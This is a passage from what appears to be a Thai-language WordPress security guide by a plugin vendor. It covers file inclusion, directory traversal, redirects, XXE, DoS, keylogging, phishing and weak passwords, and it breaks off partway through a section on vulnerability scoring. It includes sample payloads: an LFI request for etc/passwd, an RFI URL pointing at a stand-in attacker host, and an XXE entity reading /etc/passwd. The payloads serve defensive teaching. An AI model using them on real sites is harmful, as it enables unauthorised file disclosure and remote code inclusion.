    ช่องโหว่ File Inclusion เกิดขึ้นเมื่อเว็บแอปพลิเคชันอนุญาตให้ผู้ใช้ส่งข้อมูลเข้าในไฟล์หรืออัปโหลดไฟล์ไปยังเซิร์ฟเวอร์

    ช่องโหว่ในการรวมไฟล์มีอยู่ 2 ประเภท คือ Local และ Remote

    13. ช่องโหว่การรวมไฟล์ในเครื่อง

    ช่องโหว่ LFI หรือ Local File Inclusion ทำให้ผู้โจมตีสามารถอ่านและเรียกใช้ไฟล์ในบางครั้งบนเซิร์ฟเวอร์ของเว็บไซต์ได้

    ตัวอย่างการรวมไฟล์ในเครื่อง

    ลองมาดูอีก yourfavesite.com ที่เส้นทางผ่านไปยัง include งบจะไม่ชัดเจนพอ ตัวอย่างเช่น ลองดูที่ URL ด้านล่าง

     yourfavesite.com/module.php?file=example.file

    ผู้โจมตีสามารถเปลี่ยนพารามิเตอร์ URL เพื่อเข้าถึงไฟล์ที่กำหนดเองบนเซิร์ฟเวอร์ได้

     yourfavesite.com/module.php?file=etc/passwd

    การเปลี่ยนค่าของไฟล์ใน URL อาจทำให้ผู้โจมตีดูเนื้อหาของไฟล์ psswd ได้

    วิธีป้องกันการรวมไฟล์ในเครื่อง

    สร้างรายการที่อนุญาตของไฟล์ที่หน้าอาจมี จากนั้นใช้ตัวระบุเพื่อเข้าถึงไฟล์ที่เลือก จากนั้นบล็อกคำขอที่มีตัวระบุที่ไม่ถูกต้อง

    14. ช่องโหว่การรวมไฟล์ระยะไกล

    ช่องโหว่ RFI หรือ Remote File Inclusion ช่วยให้ผู้โจมตีสามารถรวมไฟล์ได้ โดยปกติแล้วจะใช้ประโยชน์จากกลไก "การรวมไฟล์แบบไดนามิก" ที่ใช้ในแอปพลิเคชันเป้าหมาย

    ตัวอย่างการรวมไฟล์ระยะไกล

    ปลั๊กอิน WordPress WP พร้อม Spritz ถูกปิดในที่เก็บ WordPress.org เนื่องจากมีช่องโหว่ RFI

    ด้านล่างนี้คือซอร์สโค้ดของช่องโหว่:

     if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);

    โค้ดนี้สามารถใช้ประโยชน์ได้โดยการเปลี่ยนค่าของค่า content.filter.php?url= ตัวอย่างเช่น:

     yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec

    การป้องกันการรวมไฟล์ระยะไกล

    สร้างรายการที่อนุญาตของไฟล์ที่หน้าอาจมี จากนั้นใช้ตัวระบุเพื่อเข้าถึงไฟล์ที่เลือก จากนั้นบล็อกคำขอที่มีตัวระบุที่ไม่ถูกต้อง

    15. ช่องโหว่การข้ามผ่านไดเรกทอรี

    ช่องโหว่ Directory Traversal หรือ File Traversal ทำให้ผู้โจมตีสามารถอ่านไฟล์ที่กำหนดเองบนเซิร์ฟเวอร์ที่กำลังเรียกใช้แอปพลิเคชัน

    ตัวอย่างการข้ามผ่านไดเรกทอรี

    WordPress เวอร์ชัน 5.7 – 5.03 เสี่ยงต่อการโจมตีแบบ Directory Traversal เนื่องจากไม่สามารถตรวจสอบข้อมูลที่ผู้ใช้ป้อนได้อย่างถูกต้อง ผู้โจมตีที่เข้าถึงบัญชีที่มีสิทธิ์ของ author อย่างน้อยสามารถใช้ประโยชน์จากช่องโหว่การข้ามผ่านไดเรกทอรีและเรียกใช้โค้ด PHP ที่เป็นอันตรายบนเซิร์ฟเวอร์ที่เกี่ยวข้อง ซึ่งนำไปสู่การยึดครองจากระยะไกลอย่างสมบูรณ์

    วิธีป้องกันการข้ามผ่านไดเรกทอรี

    นักพัฒนาสามารถใช้ดัชนีแทนส่วนจริงของชื่อไฟล์เมื่อสร้างเทมเพลตหรือใช้ไฟล์ภาษา

    16. ช่องโหว่การเปลี่ยนเส้นทางที่เป็นอันตราย

    ช่องโหว่การ เปลี่ยนเส้นทางที่ เป็น อันตราย ทำให้ผู้โจมตีสามารถใส่โค้ดเพื่อเปลี่ยนเส้นทางผู้เยี่ยมชมเว็บไซต์ไปยังเว็บไซต์อื่นได้

    ตัวอย่างการเปลี่ยนเส้นทางที่เป็นอันตราย

    สมมติว่าคุณกำลังมองหาเสื้อสเวตเตอร์สีน้ำเงินโดยใช้เครื่องมือค้นหาในร้านบูติกออนไลน์

    ขออภัย เซิร์ฟเวอร์ของบูติกไม่สามารถเข้ารหัสอินพุตของผู้ใช้ได้อย่างถูกต้อง และผู้โจมตีสามารถแทรกสคริปต์การเปลี่ยนเส้นทางที่เป็นอันตรายลงในคำค้นหาของคุณได้

    ดังนั้น เมื่อคุณพิมพ์เสื้อสเวตเตอร์สีน้ำเงินลงในช่องค้นหาของร้านบูติกแล้วกด Enter คุณจะไปสิ้นสุดที่หน้าเว็บของผู้โจมตีแทนที่จะเป็นหน้าของร้านที่มีเสื้อสเวตเตอร์ที่ตรงกับคำอธิบายการค้นหาของคุณ

    วิธีป้องกันการเปลี่ยนเส้นทางที่เป็นอันตราย

    คุณสามารถป้องกันการเปลี่ยนเส้นทางที่เป็นอันตรายได้โดยการล้างข้อมูลของผู้ใช้ ตรวจสอบ URL และได้รับการยืนยันจากผู้เยี่ยมชมสำหรับการเปลี่ยนเส้นทางนอกไซต์ทั้งหมด

    17. ช่องโหว่เอนทิตีภายนอก XML

    ช่องโหว่ XXE หรือ XML External Entity ช่วยให้ผู้โจมตีหลอกล่อให้ XML parser ส่งข้อมูลที่สำคัญไปยังเอนทิตีภายนอกภายใต้การควบคุมของตน

    ตัวอย่างเอนทิตีภายนอก XML

    ผู้โจมตีสามารถใช้ประโยชน์จากช่องโหว่ XXE เพื่อเข้าถึงไฟล์ที่มีความละเอียดอ่อน เช่น etc/passwd ซึ่งเก็บข้อมูลบัญชีผู้ใช้

     <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

    วิธีป้องกัน XML เอนทิตีภายนอก

    วิธีที่ดีที่สุดในการป้องกัน XXE คือการใช้รูปแบบข้อมูลที่ซับซ้อนน้อยกว่า เช่น JSON และหลีกเลี่ยงการทำให้เป็นอนุกรมของข้อมูลที่ละเอียดอ่อน

    18. การโจมตีการปฏิเสธการบริการ

    การ โจมตี DoS หรือ Denial-of-Service เป็นความพยายามโดยเจตนาเพื่อทำให้เว็บไซต์หรือแอปพลิเคชันของคุณไม่พร้อมใช้งานสำหรับผู้ใช้โดยทำให้ปริมาณการใช้เครือข่ายท่วมท้น

    ใน การ โจมตี DDoS Distributed Denial of Service ผู้โจมตีใช้หลายแหล่งเพื่อทำให้เครือข่ายมีการรับส่งข้อมูล ผู้โจมตีจะจี้กลุ่มคอมพิวเตอร์ เราเตอร์ และอุปกรณ์ IoT ที่ติดมัลแวร์เพื่อเพิ่มปริมาณการรับส่งข้อมูล

    ตัวอย่างการโจมตีการปฏิเสธบริการ

    การโจมตี DDoS (Distributed Denial-of-Service) ที่ใหญ่ที่สุดเท่าที่เคยมีมา ถูกเรียกเก็บกับ AWS ในเดือนกุมภาพันธ์ของปีนี้ Amazon รายงานว่า AWS Shield ซึ่งเป็นบริการป้องกันภัยคุกคามที่มีการจัดการของพวกเขา ได้สังเกตและลดการโจมตี DDoS ขนาดใหญ่นี้ การโจมตีกินเวลา 3 วันและสูงสุดที่ 2.3 เทราไบต์ต่อวินาที

    วิธีป้องกันการปฏิเสธบริการโจมตี

    มี 2 ​​วิธีหลักในการลดการโจมตี DoS

    1. ซื้อโฮสติ้งมากกว่าที่คุณต้องการ การมีทรัพยากรเพิ่มเติมในการกำจัดสามารถช่วยให้คุณรับมือกับความต้องการที่เพิ่มขึ้นที่เกิดจากการโจมตี DoS
    2. ใช้ไฟร์วอลล์ระดับเซิร์ฟเวอร์เช่น Cloudflare ไฟร์วอลล์สามารถตรวจจับการเข้าชมที่เพิ่มขึ้นอย่างผิดปกติและป้องกันไม่ให้เว็บไซต์ของคุณทำงานหนักเกินไป

    19. การบันทึกการกดแป้นพิมพ์

    การบันทึกการกดแป้นพิมพ์ หรือที่เรียกว่า การล็อก คีย์หรือการดักจับแป้นพิมพ์ เกิดขึ้นเมื่อแฮ็กเกอร์ตรวจสอบและบันทึกการกดแป้นพิมพ์ของผู้เยี่ยมชมเว็บไซต์อย่างลับๆ

    ตัวอย่างการบันทึกการกดแป้นพิมพ์

    ในปี 2560 แฮ็กเกอร์ประสบความสำเร็จในการติดตั้ง JavaScript ที่เป็นอันตรายบนเซิร์ฟเวอร์ของผู้ผลิตสมาร์ทโฟน OnePlus

    ผู้โจมตีใช้รหัสที่เป็นอันตรายเพื่อติดตามและบันทึกการกดแป้นของลูกค้า OnePlus ขณะที่ป้อนรายละเอียดบัตรเครดิต แฮกเกอร์บันทึกและรวบรวมการกดแป้นพิมพ์ของลูกค้า 40,000 รายก่อนที่ OnePlus จะตรวจพบและแก้ไขการแฮ็ก

    วิธีป้องกันการบันทึกการกดแป้นพิมพ์

    อัพเดททุกอย่าง! โดยทั่วไปแล้ว ผู้โจมตีจะต้องใช้ช่องโหว่อื่นที่มีอยู่เพื่อฉีดคีย์ล็อกเกอร์บนคอมพิวเตอร์หรือเซิร์ฟเวอร์ การอัปเดตทุกอย่างด้วยแพตช์ความปลอดภัยล่าสุดจะป้องกันไม่ให้แฮกเกอร์ติดตั้งคีย์ล็อกเกอร์บนเว็บไซต์หรือคอมพิวเตอร์ของคุณได้ง่ายๆ

    โบนัส: 2 วิศวกรรมสังคม & ช่องโหว่ของผู้ใช้

    ช่องโหว่ของซอฟต์แวร์เป็นสิ่งเดียวที่แฮ็กเกอร์และอาชญากรไซเบอร์พยายามใช้ประโยชน์ แฮกเกอร์ยังกำหนดเป้าหมายและหาประโยชน์จากมนุษย์อีกด้วย ลองมาดูสองสามวิธีที่เราสามารถเปลี่ยนเป็นช่องโหว่ได้

    1. ฟิชชิ่ง

    ฟิชชิ่งเป็นวิธีการโจมตีทางไซเบอร์โดยใช้อีเมล โซเชียลมีเดีย ข้อความ และการโทรศัพท์เพื่อหลอกล่อเหยื่อให้เปิดเผยข้อมูลส่วนบุคคล ผู้โจมตีจะใช้ข้อมูลเพื่อเข้าถึงบัญชีส่วนบุคคลหรือกระทำการฉ้อโกงข้อมูลประจำตัว

    วิธีสังเกตอีเมลฟิชชิ่ง

    ตามที่เราได้เรียนรู้ก่อนหน้านี้ในโพสต์นี้ ช่องโหว่บางอย่างต้องการการโต้ตอบกับผู้ใช้บางประเภทจึงจะใช้ประโยชน์ได้ วิธีหนึ่งที่แฮ็กเกอร์หลอกให้ผู้คนเข้าร่วมในความพยายามที่ชั่วร้ายของพวกเขาคือการส่งอีเมลฟิชชิ่ง

    การเรียนรู้วิธีสังเกตอีเมลฟิชชิ่งสามารถช่วยให้คุณไม่ต้องเล่นแผนของอาชญากรไซเบอร์โดยไม่ได้ตั้งใจ

    เคล็ดลับ 4 ข้อในการตรวจจับอีเมลฟิชชิ่ง :

    1. ดูที่อยู่อีเมลจาก – หากคุณได้รับอีเมลจากธุรกิจ ส่วนของที่อยู่อีเมลของผู้ส่งหลัง “@” ควรตรงกับชื่อธุรกิจ

      หากอีเมลเป็นตัวแทนของบริษัทหรือหน่วยงานภาครัฐ แต่ใช้ที่อยู่อีเมลสาธารณะ เช่น “@gmail” แสดงว่าอีเมลฟิชชิง

      จับตาดูการสะกดผิดเล็กน้อยของชื่อโดเมน ตัวอย่างเช่น ลองดูที่อยู่อีเมลนี้ [email protected] เราจะเห็นว่า Netflix มีเครื่องหมาย “x” พิเศษต่อท้าย การสะกดผิดเป็นสัญญาณชัดเจนว่าอีเมลถูกส่งโดยผู้หลอกลวงและควรลบทิ้งทันที
    2. มองหาข้อผิดพลาดทางไวยากรณ์ – อีเมลที่เต็มไปด้วยข้อผิดพลาดทางไวยากรณ์เป็นสัญญาณของอีเมลที่เป็นอันตราย คำทั้งหมดอาจสะกดถูกต้อง แต่ประโยคเป็นคำที่ขาดหายไปซึ่งจะทำให้ประโยคสอดคล้องกัน ตัวอย่างเช่น “บัญชีของคุณถูกแฮ็ก อัปเดตรหัสผ่านเพื่อความปลอดภัยของบัญชี”

      ทุกคนทำผิดพลาด และไม่ใช่ทุกอีเมลที่มีการพิมพ์ผิดหรือสองครั้งที่พยายามหลอกลวงคุณ อย่างไรก็ตาม ข้อผิดพลาดทางไวยากรณ์หลายข้อรับประกันว่าจะต้องตรวจสอบอย่างละเอียดก่อนจะตอบกลับ
    3. ไฟล์แนบหรือลิงก์ที่น่าสงสัย – ควรหยุดสักครู่ก่อนที่จะโต้ตอบกับไฟล์แนบหรือลิงก์ที่รวมอยู่ในอีเมล

      หากคุณไม่รู้จักผู้ส่งอีเมล คุณไม่ควรดาวน์โหลดไฟล์แนบที่รวมอยู่ในอีเมล เนื่องจากอาจมีมัลแวร์และติดคอมพิวเตอร์ของคุณ หากอีเมลอ้างว่ามาจากธุรกิจ คุณสามารถ Google ข้อมูลติดต่อของพวกเขาเพื่อยืนยันว่าอีเมลนั้นส่งมาจากพวกเขาก่อนที่จะเปิดไฟล์แนบ

      หากอีเมลมีลิงก์ คุณสามารถวางเมาส์เหนือลิงก์เพื่อยืนยันว่า URL กำลังส่งไปยังที่ที่ควรจะเป็น
    4. ระวังคำขอเร่งด่วน – เคล็ดลับทั่วไปที่ใช้โดยนักต้มตุ๋นคือการสร้างความรู้สึกเร่งด่วน อีเมลที่เป็นอันตรายอาจสร้างสถานการณ์ที่ต้องดำเนินการทันที ยิ่งคุณมีเวลาคิดมากเท่าใด โอกาสที่คุณจะระบุคำขอนั้นก็มาจากผู้หลอกลวงมากขึ้นเท่านั้น

      คุณอาจได้รับอีเมลจาก "เจ้านาย" ของคุณที่ขอให้คุณชำระเงินให้กับผู้ขายโดยเร็ว หรือจากธนาคารของคุณเพื่อแจ้งว่าบัญชีของคุณถูกแฮ็กและจำเป็นต้องดำเนินการในทันที

    2. ข้อมูลประจำตัวที่อ่อนแอ

    ผู้ใช้มีโอกาสที่จะเป็นช่องโหว่ด้านความปลอดภัยที่ใหญ่ที่สุดของ WordPress

    ในรายการที่รวบรวมโดย Splash Data รหัสผ่านที่พบบ่อยที่สุดที่รวมอยู่ในการถ่ายโอนข้อมูลทั้งหมดคือ 123456 การถ่ายโอนข้อมูลคือฐานข้อมูลที่ถูกแฮ็กซึ่งเต็มไปด้วยรหัสผ่านของผู้ใช้ที่ถูกทิ้งที่ใดที่หนึ่งบนอินเทอร์เน็ต คุณลองนึกดูว่ามีคนกี่คนในเว็บไซต์ของคุณที่ใช้รหัสผ่านที่ไม่รัดกุม ถ้ารหัสผ่าน 123456 เป็นรหัสผ่านที่พบบ่อยที่สุดในการถ่ายโอนข้อมูล

    แม้ว่า 91% ของผู้คนจะรู้ว่าการใช้รหัสผ่านซ้ำเป็นแนวทางปฏิบัติที่ไม่ดี แต่ 59% ของผู้คนยังคงใช้รหัสผ่านซ้ำในทุกที่! หลายคนเหล่านี้ยังคงใช้รหัสผ่านที่พวกเขารู้ว่าปรากฏในการถ่ายโอนข้อมูลฐานข้อมูล

    แฮกเกอร์ใช้รูปแบบการโจมตีแบบเดรัจฉานที่เรียกว่าการโจมตีพจนานุกรม การโจมตีด้วยพจนานุกรมเป็นวิธีการเจาะเข้าไปในเว็บไซต์ WordPress ด้วยรหัสผ่านที่ใช้กันทั่วไปซึ่งปรากฏในการถ่ายโอนข้อมูลของฐานข้อมูล “คอลเลกชั่น #1? การละเมิดข้อมูลที่โฮสต์บนโฮสต์ MEGA รวมที่อยู่อีเมลและรหัสผ่านที่ไม่ซ้ำกัน 1,160,253,228 ชุด นั่นคือพันล้านด้วย a b คะแนนประเภทนี้จะช่วยให้การโจมตีพจนานุกรมจำกัดรหัสผ่าน WordPress ที่ใช้บ่อยที่สุดได้จริง

    ข้อมูลประจำตัวที่อ่อนแอทำให้การเข้าสู่ระบบ WordPress ของคุณเป็นช่องโหว่ที่ง่ายสำหรับแฮกเกอร์ที่จะหาประโยชน์

    วิธีป้องกันข้อมูลประจำตัวที่อ่อนแอ

    วิธีที่ดีที่สุดในการป้องกันข้อมูลประจำตัวที่ไม่รัดกุมคือการสร้างนโยบายรหัสผ่านที่รัดกุมและใช้การตรวจสอบสิทธิ์แบบสองปัจจัย

    คุณลักษณะข้อกำหนดรหัสผ่าน iThemes Security Pro ช่วยให้สมาชิกของกลุ่มผู้ใช้ใช้ รหัสผ่านที่คาดเดายาก เลือกเวลา หมดอายุ ของ รหัสผ่าน ปฏิเสธรหัสผ่านที่ถูกบุกรุก และบังคับให้ เปลี่ยนรหัสผ่าน ทั่วทั้งไซต์เพื่อให้ทุกคนปฏิบัติตามนโยบายรหัสผ่านที่รัดกุมใหม่ของคุณ

    การรับรองความถูกต้องด้วยสองปัจจัยเป็นกระบวนการในการยืนยันตัวตนของบุคคลโดยกำหนดให้มีการตรวจสอบสองวิธีแยกกัน Google แบ่งปันในบล็อกว่าการใช้การรับรองความถูกต้องด้วยสองปัจจัยสามารถหยุดการโจมตีบอทอัตโนมัติได้ 100%

    คุณลักษณะการ ตรวจสอบสิทธิ์สองปัจจัยของ iThemes Security Pro มอบความยืดหยุ่นมากมายเมื่อใช้งาน 2fa บนเว็บไซต์ของคุณ คุณสามารถเปิดใช้งานสองปัจจัยสำหรับผู้ใช้ของคุณทั้งหมดหรือบางส่วน และคุณสามารถบังคับให้ผู้ใช้ระดับสูงของคุณใช้ 2fa ในการเข้าสู่ระบบแต่ละครั้ง

    วิธีป้องกันเว็บไซต์ WordPress ของคุณจากช่องโหว่ WordPress

    มาดูขั้นตอนที่สามารถดำเนินการได้เพื่อปกป้องเว็บไซต์ของคุณจากช่องโหว่ของ WordPress

    1. ทำให้ซอฟต์แวร์ WordPress ของคุณทันสมัยอยู่เสมอ

    การมีปลั๊กอินหรือธีมที่มีช่องโหว่ซึ่งมีแพตช์ให้บริการแต่ไม่ได้ใช้ถือเป็นสาเหตุอันดับหนึ่งของเว็บไซต์ WordPress ที่ถูกแฮ็ก ซึ่งหมายความว่าช่องโหว่ส่วนใหญ่จะถูกโจมตี หลังจากที่ มีการเปิดตัวโปรแกรมแก้ไขสำหรับช่องโหว่

    การละเมิด Equifax ที่มีการรายงานสูงสามารถป้องกันได้หากพวกเขาอัปเดตซอฟต์แวร์ สำหรับการละเมิด Equifax ไม่มีข้อแก้ตัว

    บางสิ่งที่ง่ายพอๆ กับการอัปเดตซอฟต์แวร์สามารถปกป้องคุณได้ ดังนั้นอย่าเพิกเฉยต่อการอัปเดตของ WordPress เหล่านั้น การอัปเดต เป็นหนึ่งในองค์ประกอบพื้นฐานที่สุดของ WordPress และการรักษาความปลอดภัยเว็บทั้งหมด

    คุณลักษณะการจัดการเวอร์ชัน iThemes Security Pro ทำให้ปรับแต่งและทำให้การอัปเดต WordPress ของคุณเป็นไปโดยอัตโนมัติ

    2. ติดตามช่องโหว่ของ WordPress

    การอัปเดตปลั๊กอินและธีมของคุณอยู่เสมอไม่ได้ป้องกันคุณจากทุกช่องโหว่ ปลั๊กอินและธีมบางตัวถูกละทิ้งโดยนักพัฒนาที่สร้างไว้

    น่าเสียดาย หากปลั๊กอินหรือธีมที่ถูกละทิ้งมีช่องโหว่ มันจะไม่มีวันได้รับแพตช์ แฮกเกอร์จะกำหนดเป้าหมายเว็บไซต์ที่ใช้ปลั๊กอินที่มีช่องโหว่เหล่านี้อย่างถาวร

    การติดตามช่องโหว่คือความแตกต่างระหว่างการมีเว็บไซต์ที่ปลอดภัยกับเว็บไซต์ที่แฮ็กเกอร์สามารถใช้ประโยชน์ได้ง่าย

    หากคุณมีปลั๊กอินที่ถูกละทิ้งซึ่งมีช่องโหว่ที่ทราบบนเว็บไซต์ของคุณ แสดงว่าคุณกำลังให้พิมพ์เขียวที่จำเป็นสำหรับแฮ็กเกอร์เพื่อเข้าครอบครองเว็บไซต์ของคุณ นั่นคือเหตุผลที่คุณต้องติดตามช่องโหว่ล่าสุดทั้งหมด

    เป็นการยากที่จะติดตามทุกช่องโหว่ของ WordPress ที่เปิดเผย และเปรียบเทียบรายการนั้นกับเวอร์ชันของปลั๊กอินและธีมที่คุณติดตั้งบนเว็บไซต์ของคุณ การติดตามช่องโหว่คือความแตกต่างระหว่างการมีเว็บไซต์ที่ปลอดภัยกับเว็บไซต์ที่แฮ็กเกอร์สามารถใช้ประโยชน์ได้ง่าย

    ข่าวดีสำหรับคุณ! เราติดตามและแบ่งปันทุกช่องโหว่ที่เปิดเผยใน WordPress Vulnerability Roundups ของเรา

    3. สแกนเว็บไซต์ของคุณเพื่อหาช่องโหว่

    วิธีที่เร็วกว่าคือการปกป้องเว็บไซต์ของคุณจากการใช้ประโยชน์จากแฮ็กเกอร์อย่างง่าย ๆ คือการใช้การสแกนอัตโนมัติเพื่อตรวจสอบเว็บไซต์ของคุณเพื่อหาช่องโหว่ที่ทราบ

    iThemes Security Pro Site Scanner เป็นวิธีของคุณในการป้องกันช่องโหว่โดยอัตโนมัติบนเว็บไซต์ WordPress ทั้งหมดของคุณ Site Scanner จะตรวจสอบไซต์ของคุณเพื่อหาช่องโหว่ที่ทราบ และจะใช้โปรแกรมแก้ไขโดยอัตโนมัติหากมี

    ไซต์ iThemes Security Pro ตรวจสอบช่องโหว่ 3 ประเภท

    1. ช่องโหว่ของ WordPress
    2. ช่องโหว่ของปลั๊กอิน
    3. ช่องโหว่ของธีม

    คุณลักษณะการตรวจสอบไซต์ iThemes Sync Pro ใช้ประโยชน์จากพลังของ Google Lighthouse เพื่อปกป้องเว็บไซต์ของคุณ การตรวจสอบไซต์จะตรวจสอบและตั้งค่าสถานะหน้าที่มีไลบรารี JavaScript ส่วนหน้าที่มีช่องโหว่ด้านความปลอดภัยที่ทราบ

    เป็นเรื่องปกติสำหรับนักพัฒนาที่จะใช้ไลบรารี JS เช่นโค้ดของบุคคลที่สามในปลั๊กอินและธีม ขออภัย หากห้องสมุดไม่ได้รับการดูแลอย่างเหมาะสม ห้องสมุดสามารถสร้างช่องโหว่ที่ผู้โจมตีสามารถใช้เพื่อแฮ็กเว็บไซต์ของคุณได้ การใช้ส่วนประกอบที่มีช่องโหว่ที่ทราบนั้นอยู่ในรายการ 10 อันดับแรกของ OWASP

    การตรวจสอบเว็บไซต์ช่วยเบคอนของฉันไว้! ฉันสร้างตารางการตรวจสอบเพื่อให้ Sync Pro ทำการตรวจสอบอัตโนมัติทุกสัปดาห์ และส่งอีเมลรายงานการตรวจสอบให้ฉัน ฉันคอยอัปเดต ทุกอย่างอยู่ เสมอ และนั่นเป็นสาเหตุที่ทำให้ฉันตกใจเมื่อเห็นการตรวจสอบเว็บไซต์ของฉันว่าฉันใช้ไลบรารี JavaScript ที่มีช่องโหว่ด้านความปลอดภัยที่เป็นที่รู้จัก

    รายงานชี้ให้ฉันดู jQuery เวอร์ชันเก่าในไดเร็กทอรี WordPress ของเว็บไซต์ซึ่งเต็มไปด้วยช่องโหว่ที่ทราบกันดีอยู่แล้ว! โชคดีสำหรับฉัน ฉันเห็นในการตรวจสอบไซต์ Sync Pro ว่าฉันใช้ไลบรารี JavaScript ที่มีช่องโหว่ด้านความปลอดภัยที่เป็นที่รู้จัก และสามารถแก้ไขปัญหานี้ได้ก่อนที่เว็บไซต์ของฉันจะถูกแฮ็ก

    วิธีวัดความเสี่ยงช่องโหว่ของ WordPress

    ช่องโหว่ WordPress มีหลายประเภท โดยทั้งหมดมีระดับความเสี่ยงที่แตกต่างกัน โชคดีสำหรับเรา ฐานข้อมูลช่องโหว่แห่งชาติ ซึ่งเป็นโครงการของสถาบันวิทยาศาสตร์และเทคโนโลยีแห่งชาติ มีเครื่องคำนวณระบบการให้คะแนนช่องโหว่เพื่อกำหนดความเสี่ยงของช่องโหว่

    ส่วนนี้ของคู่มือช่องโหว่ WordPress จะครอบคลุมตัวชี้วัดและระดับความรุนแรงของระบบการให้คะแนนช่องโหว่ แม้ว่าส่วนนี้จะค่อนข้างเป็นเทคนิคมากกว่าเล็กน้อย ผู้ใช้บางคนอาจพบว่ามีประโยชน์สำหรับการทำความเข้าใจอย่างลึกซึ้งถึงวิธีการประเมินช่องโหว่ของ WordPress และความรุนแรง

    ตัวชี้วัดระบบการให้คะแนนช่องโหว่ WordPress ทั่วไป

    สมการของระบบการให้คะแนนช่องโหว่ใช้ชุดคะแนนที่แตกต่างกันสามชุดเพื่อกำหนดคะแนนความรุนแรงโดยรวม

    1. เมตริกพื้นฐาน

    กลุ่มเมทริกพื้นฐานแสดงถึงลักษณะของช่องโหว่ที่คงที่ในสภาพแวดล้อมของผู้ใช้

    เมทริกพื้นฐานแบ่งออกเป็นสองกลุ่ม ได้แก่ Exploitability และ Impact

    1.1. ตัวชี้วัดความสามารถในการใช้ประโยชน์

    คะแนนความสามารถในการหาช่องโหว่นั้นขึ้นอยู่กับความยากของผู้โจมตีในการใช้ประโยชน์จากช่องโหว่ คะแนนคำนวณโดยใช้ตัวแปรต่างๆ 5 ตัว

    1.1.1. โจมตีเวกเตอร์ (AV)

    คะแนนเวกเตอร์การโจมตีขึ้นอยู่กับวิธีการที่ใช้ช่องโหว่ คะแนนจะสูงขึ้นตามระยะไกลที่ผู้โจมตีสามารถใช้ประโยชน์จากช่องโหว่นี้ได้

    แนวคิดก็คือจำนวนผู้โจมตีที่มีศักยภาพจะเพิ่มมากขึ้นหากช่องโหว่นั้นสามารถถูกโจมตีผ่านเครือข่ายได้ เมื่อเทียบกับช่องโหว่ที่ต้องมีการเข้าถึงทางกายภาพเพื่อใช้ประโยชน์จากอุปกรณ์

    ยิ่งมีผู้โจมตีที่มีศักยภาพมากเท่าใด ความเสี่ยงในการแสวงหาผลประโยชน์ก็จะยิ่งสูงขึ้น ดังนั้นคะแนน Attack Vector ที่มอบให้กับช่องโหว่นั้นก็จะสูงขึ้น

    จำเป็นต้องเข้าถึง คำอธิบาย
    เครือข่าย (N) ช่องโหว่ที่สามารถใช้ประโยชน์ได้ด้วย Network การเข้าถึงหมายถึงส่วนประกอบที่มีช่องโหว่สามารถ ใช้ประโยชน์ได้จากระยะไกล
    เครือข่ายที่อยู่ติดกัน (AV:A) ช่องโหว่ที่สามารถใช้ประโยชน์ได้ด้วย Adjacent Network การเข้าถึงหมายความว่าส่วนประกอบที่มีช่องโหว่ถูกผูกไว้กับสแต็กเครือข่าย อย่างไรก็ตาม การโจมตีถูกจำกัดไว้ที่เครือข่ายทางกายภาพหรือทางลอจิคัลเดียวกัน
    ท้องถิ่น (AV:L) ช่องโหว่ที่สามารถใช้ประโยชน์ได้ด้วย Local การเข้าถึงหมายความว่าส่วนประกอบที่มีช่องโหว่ไม่ถูกผูกไว้กับสแต็กเครือข่าย ในบางกรณี ผู้โจมตีอาจเข้าสู่ระบบภายในเครื่องเพื่อใช้ประโยชน์จากช่องโหว่ หรืออาจอาศัยการโต้ตอบกับผู้ใช้เพื่อดำเนินการกับไฟล์ที่เป็นอันตราย
    กายภาพ (AV:P) ช่องโหว่ที่สามารถใช้ประโยชน์ได้ด้วย Physical เข้าไป กำหนดให้ผู้โจมตีต้องสัมผัสหรือจัดการส่วนประกอบที่มีช่องโหว่ เช่น การติดอุปกรณ์ต่อพ่วงเข้ากับระบบ

    1.1.2. ความซับซ้อนของการโจมตี (AC)

    ค่าความซับซ้อนขึ้นอยู่กับเงื่อนไขที่จำเป็นในการใช้ประโยชน์จากช่องโหว่ เงื่อนไขบางอย่างอาจต้องการการรวบรวมข้อมูลเพิ่มเติมเกี่ยวกับเป้าหมาย การมีอยู่ของการตั้งค่าการกำหนดค่าระบบบางอย่าง หรือข้อยกเว้นทางคอมพิวเตอร์

    คะแนนความซับซ้อนในการโจมตีจะสูงขึ้นตามความซับซ้อนที่จำเป็นต่อการใช้ประโยชน์จากช่องโหว่ที่ต่ำลง

    ความซับซ้อนของเงื่อนไขการใช้ประโยชน์ คำอธิบาย
    ต่ำ (L) ไม่มีเงื่อนไขการเข้าถึงแบบพิเศษหรือสถานการณ์ลดหย่อน ผู้โจมตีสามารถคาดหวังความสำเร็จซ้ำซ้อนกับองค์ประกอบที่มีช่องโหว่
    สูง (H) การโจมตีที่สำเร็จขึ้นอยู่กับเงื่อนไขที่อยู่นอกเหนือการควบคุมของผู้โจมตี การโจมตีที่ประสบความสำเร็จไม่สามารถทำได้ตามความประสงค์ แต่ต้องการให้ผู้โจมตีลงทุนกับความพยายามที่สามารถวัดได้บางส่วนในการเตรียมการหรือดำเนินการกับองค์ประกอบที่มีช่องโหว่ก่อนที่จะสามารถโจมตีได้สำเร็จ

    1.1.3. สิทธิ์ที่จำเป็น (PR)

    คะแนนที่ต้องใช้สิทธิ์จะคำนวณตามสิทธิ์ที่ผู้โจมตีต้องได้รับก่อนที่จะใช้ประโยชน์จากช่องโหว่ เราจะเจาะลึกเรื่องนี้อีกเล็กน้อยในส่วน Authenticated vs. Unauthenticated

    คะแนนจะสูงสุดหากไม่มีสิทธิพิเศษใดๆ

    ระดับสิทธิ์ที่ต้องการ คำอธิบาย
    ไม่มี (N) ผู้โจมตีไม่ได้รับอนุญาตก่อนการโจมตี ดังนั้นจึงไม่จำเป็นต้องเข้าถึงการตั้งค่าหรือไฟล์ใด ๆ เพื่อดำเนินการโจมตี
    ต่ำ (L) ผู้โจมตีได้รับอนุญาตด้วยสิทธิพิเศษที่มอบความสามารถพื้นฐานให้กับผู้ใช้ ซึ่งปกติแล้วจะมีผลกับการตั้งค่าและไฟล์ที่ผู้ใช้เป็นเจ้าของเท่านั้น อีกทางหนึ่ง ผู้โจมตีที่มีสิทธิ์ต่ำอาจมีความสามารถในการสร้างผลกระทบต่อทรัพยากรที่ไม่ละเอียดอ่อนเท่านั้น
